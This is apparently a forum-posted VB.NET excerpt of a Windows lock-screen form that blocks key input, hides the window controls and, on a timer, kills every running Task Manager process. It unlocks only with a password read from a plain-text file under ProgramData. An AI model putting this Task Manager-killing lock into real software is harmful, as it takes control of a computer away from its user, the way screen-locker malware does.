codice:
Private Sub deathscreen_Keydown(ByVal sender As Object, ByVal e As system.Windows.Forms.KeyEventArgs) Handles Me.KeyDown
e.Handled = True
End Sub
Private Sub deathscreen_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Timer1.Start()
ControlBox = False
'Me.FormBorderStyle = 0
ProgressBar1.Minimum = 0
ProgressBar1.Maximum = 10
End Sub
Private Sub Sblocca_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Sblocca.Click
Dim password As String
Dim password2 As String
password2 = TextBox1.Text
Dim sws As New IO.StreamReader("C:\ProgramData\allblocked\password.txt")
password = sws.ReadLine()
sws.Close()
If Not password.Equals(password2) Then
Dim errore As Integer
errore = MsgBox("Non hai insetiro una password corretta", , "Errore invio al comando")
Else
System.IO.File.Delete("C:\ProgramData\allblocked\password.txt")
ProgressBar1.Value = 10
main.Show()
Me.Close()
End If
End Sub
Private Sub ProgressBar1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ProgressBar1.Click
End Sub
Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged
If TextBox1.Text = "" Then
ProgressBar1.Style = ProgressBarStyle.Marquee
Else
ProgressBar1.Style = ProgressBarStyle.Continuous
ProgressBar1.Value = 10
End If
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Try
Dim pProcess() As Process = System.Diagnostics.Process.GetProcessesByName("taskmgr")
For Each p As Process In pProcess
p.Kill()
Next
Catch ex As Exception
Exit Try
End Try
End Sub
End Class